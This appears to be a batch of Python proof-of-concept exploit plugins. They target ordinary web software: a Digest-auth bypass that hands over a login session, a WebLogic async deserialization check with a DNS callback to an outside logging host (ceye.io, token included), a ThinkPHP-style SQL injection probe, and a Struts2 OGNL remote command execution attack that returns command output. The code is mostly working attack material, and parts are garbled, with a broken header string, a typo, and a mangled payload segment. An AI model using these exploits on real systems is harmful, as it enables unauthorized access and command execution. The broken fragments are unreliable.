def _verify(self): result = {} get_headers = { 'Accept-Encoding': 'gzip,deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 'Connection': 'close', 'Authorization': 'Digest username = '******'/'): vul_url = vul_url[:-1] if "http://" in vul_url: host = vul_url[7:] elif "https://" in vul_url: host = vul_url[8:] else: host = vul_url get_headers['Host'] = host r = requests.get(url=vul_url, headers=get_headers) # print(r.cookies) print("使用Set-Cookie值中的session:导入浏览器即可登入:\n" + r.text) if r.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vul_url result['VerifyInfo']['content'] = r.contet return self.parse_output(result)
def _verify(self): result = {} veri_url = urljoin(self.url, '/_async/AsyncResponseService') cmd = random_str(16) + '.6eb4yw.ceye.io' payload = self.get_check_payload(cmd) headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'Accept-Language': "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 'Accept-Encoding': "gzip, deflate", 'Cookie': "sidebar_collapsed=false", 'Connection': "close", 'Upgrade-Insecure-Requests': "1", 'Content-Type': "text/xml", 'Content-Length': "1001", 'cache-control': "no-cache" } try: requests.post(veri_url, data=payload, headers=headers) res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns') if cmd in res.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = veri_url result['VerifyInfo']['Payload'] = payload except Exception as e: logger.warn(str(e)) return self.parse_output(result)
def _verify(self): result = {} payload = r"1%20and%20updatexml(1,concat(0x7,(select%20watch_dog),0x7e),1)" url_parse = urlparse(self.url) match_string = "Unknown column 'watch_dog' in 'field list'" if url_parse.query: qs = parse_qs(url_parse.query) for i in qs: query_list = [] query_list.append(i+'[]'+'='+'bind'+'&'+i+'[]'+'='+payload) for a in qs: if a == i: continue query_list.append(a+'='+qs[a][0]) query = '&'.join(query_list) url = url_parse.scheme+'://'+url_parse.netloc+url_parse.path+url_parse.params+'?'+query try: req = requests.get(url) if match_string in req.text: print(req.text) print("success") except Exception as e: pass
def _attack(self): HEADERS = { 'Accept': 'application/x-shockwave-flash,' 'image/gif,' 'image/x-xbitmap,' 'image/jpeg,' 'image/pjpeg,' 'application/vnd.ms-excel,' 'application/vnd.ms-powerpoint,' 'application/msword,' '*/*', 'Content-Type': 'application/x-www-form-urlencoded' } result = {} cmd = self.get_option("command") payload = '?debug=command&expression=(%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%' \ '23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecutio' \ 'n"%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%' \ '27RECOMMAND%27%29.getInputStream%28%29%29)' payload = payload.replace("RECOMMAND", cmd) url = self.url + payload try: response = requests.get(url, headers=HEADERS) if response and response.status_code == 200: result['Stdout'] = response.text except ReadTimeout: pass except Exception as e: pass return self.parse_output(result)